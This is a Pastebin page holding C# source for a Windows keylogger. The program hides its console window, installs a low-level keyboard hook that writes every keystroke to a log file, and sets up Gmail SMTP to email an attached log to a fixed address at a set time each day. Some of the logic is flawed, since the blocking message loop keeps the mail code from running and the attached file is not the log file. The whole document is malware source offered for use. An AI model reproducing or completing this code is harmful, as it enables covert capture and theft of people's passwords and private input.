Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.IO;
- using System.Collections.Generic;
- using System.Text;
- using System.Net.Mail;
- using System.Net;
- namespace ConsoleApplication1
- {
- class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- static void Main(string[] args)
- {
- var handle = GetConsoleWindow();
- // Hide
- ShowWindow(handle, SW_HIDE);
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- //file finder by name
- //email-sending
- //@"C:/Games" + @"\log.txt
- //email with the file
- MailMessage mail = new MailMessage();
- SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
- mail.From = new MailAddress("ntodorov301@gmail.com");
- mail.To.Add("ntodorov301@gmail.com");
- mail.Body = "This is a test e-mail message sent using gmail as a relay server ";
- mail.Subject = "Gmail test email with SSL and Credentials";
- System.Net.Mail.Attachment attachment;
- attachment = new System.Net.Mail.Attachment("C:/Users/totkata1/Desktop/636617427740519487kuyrr.txt");
- attachment.ContentDisposition.FileName = "log.txt";
- mail.Attachments.Add(attachment);
- SmtpServer.Port = 587;
- SmtpServer.EnableSsl = true;
- SmtpServer.Credentials = new System.Net.NetworkCredential("ntodorov301@gmail.com", "PASSWORD");
- int mySeconds = 30;
- int myMinute = 30;
- int myHour = 11;
- while (true)
- {
- if (DateTime.Now.Minute == myMinute && DateTime.Now.Hour == myHour && DateTime.Now.Second == mySeconds)
- {
- SmtpServer.Send(mail);
- }
- }
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- StreamWriter sw = new StreamWriter(@"C:/Games" + @"\log.txt", true);
- //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement